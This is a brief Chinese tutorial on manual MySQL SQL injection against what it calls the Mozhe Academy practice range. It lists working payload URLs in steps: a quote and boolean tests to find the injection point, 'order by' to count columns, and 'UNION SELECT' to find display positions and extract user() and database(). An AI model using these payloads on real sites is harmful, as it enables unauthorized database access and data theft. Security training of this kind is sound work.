MySQL数据库
主流数据库之一
功能完善,强大
手工注入
1、判断注入点
关于注入点和三连判断注入点
http://219.153.49.228:43081/new_list.php?id=1 #该注入点为墨者学院的MySQL注入靶场
http://219.153.49.228:43081/new_list.php?id=1' #页面错误
http://219.153.49.228:43081/new_list.php?id=1 and 1=1 #页面正常
http://219.153.49.228:43081/new_list.php?id=1 and 1=11 #页面错误
说明该页面存在注入点
2、判断存在的字段数
http://219.153.49.228:43081/new_list.php?id=1 order by 4 #正确
http://219.153.49.228:43081/new_list.php?id=1 order by 5 #页面报错
说明字段数为4
3、爆出显示位置
http://219.153.49.228:43081/new_list.php?id=1 UNION SELECT 1,2,3,4
PHP的特殊性,联合查询依然显示正常页面,需要用报错来让页面显示错误信息
http://219.153.49.228:43081/new_list.php?id=1 and 1=2 UNION SELECT 1,2,3,4
4、综合运用MySQL函数获取网站信息
http://219.153.49.228:43081/new_list.php?id=1 and 1=2 UNION SELECT 1,user(),database(),4